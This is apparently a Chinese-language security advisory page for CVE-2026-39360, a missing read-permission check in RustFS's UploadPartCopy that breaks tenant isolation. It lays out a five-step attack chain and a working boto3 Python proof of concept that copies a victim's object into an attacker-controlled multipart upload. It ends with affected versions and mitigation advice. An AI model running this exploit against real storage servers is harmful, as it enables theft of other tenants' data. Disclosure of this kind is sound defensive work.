IPBUF安全漏洞报告
English
CVE-2026-39360 CVSS 4.3 中危

CVE-2026-39360 RustFS权限绕过导致数据泄露

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39360
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RustFS

相关标签

权限绕过信息泄露RustFS访问控制失效对象存储

漏洞概述

RustFS在alpha.90版本之前的分布式对象存储系统中存在授权检查缺失漏洞。在处理分段复制路径时,系统未能正确验证用户对源对象的访问权限。这允许低权限用户通过将受害者的对象复制到攻击者控制的上传任务中,从而绕过读取限制,导致多租户环境下的租户隔离失效及敏感数据泄露。

技术细节

该漏洞源于RustFS在处理分段上传复制操作时未正确实施权限验证。在多租户环境中,系统理应限制用户只能访问自己有权限的对象。然而,在`UploadPartCopy`接口中,系统虽然验证了上传任务的所有者,却遗漏了对源对象读取权限的校验。攻击者利用此逻辑缺陷,可以构造特殊的请求,将受害者的对象作为源数据复制到攻击者控制的多段上传任务中。由于系统未在复制环节拦截,攻击者最终可以通过完成上传获取受害者对象的完整数据副本。这实质上绕过了基于对象的访问控制列表(ACL)检查,打破了租户间的隔离屏障,导致数据泄露。

攻击链分析

STEP 1
侦察
攻击者识别目标RustFS实例,并发现受害者存储桶中存在敏感对象,但自身无读取权限。
STEP 2
初始化
攻击者在自己拥有完全控制权限的存储桶中发起一个新的分段上传请求,获取UploadId。
STEP 3
利用
攻击者调用UploadPartCopy接口,将受害者的对象指定为源数据,并将数据流向指向自己的UploadId。
STEP 4
绕过
系统仅验证UploadId属于攻击者,未验证攻击者对源对象的读取权限,允许复制操作执行。
STEP 5
数据窃取
攻击者完成分段上传,此时受害者对象的数据已完整复制到攻击者的存储桶中,实现数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import boto3 # Conceptual PoC for CVE-2026-39360 # Demonstrates the lack of authorization check in UploadPartCopy def exploit_rustfs(target_endpoint, attacker_bucket, victim_bucket, victim_object_key): s3 = boto3.client('s3', endpoint_url=target_endpoint) # 1. Initiate a multipart upload in the attacker's controlled bucket # The attacker has full access to this bucket upload_id = s3.create_multipart_upload(Bucket=attacker_bucket, Key='exfiltrated_data.txt')['UploadId'] print(f"[+] Multipart upload initiated with ID: {upload_id}") try: # 2. Upload Part Copy from the victim's object to the attacker's upload # Vulnerability: The system checks if 'upload_id' belongs to the attacker, # but FAILS to check if the attacker has READ access to 'victim_bucket/victim_object_key'. copy_response = s3.upload_part_copy( Bucket=attacker_bucket, Key='exfiltrated_data.txt', UploadId=upload_id, PartNumber=1, CopySource={ 'Bucket': victim_bucket, 'Key': victim_object_key } ) etag = copy_response['CopyPartResult']['ETag'] print(f"[+] Part copied from victim object. ETag: {etag}") # 3. Complete the multipart upload to finalize the data ownership transfer s3.complete_multipart_upload( Bucket=attacker_bucket, Key='exfiltrated_data.txt', UploadId=upload_id, MultipartUpload={'Parts': [{'PartNumber': 1, 'ETag': etag}]} ) print("[+] Exploit successful: Victim object is now owned by the attacker.") except Exception as e: print(f"[-] Exploit failed: {e}") # Usage # exploit_rustfs('http://rustfs-server', 'attacker-bucket', 'victim-bucket', 'secret_file.pdf')

影响范围

RustFS < alpha.90

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面限制对UploadPartCopy接口的调用,或实施严格的WAF规则,检测并阻断包含跨用户Bucket引用的复制请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表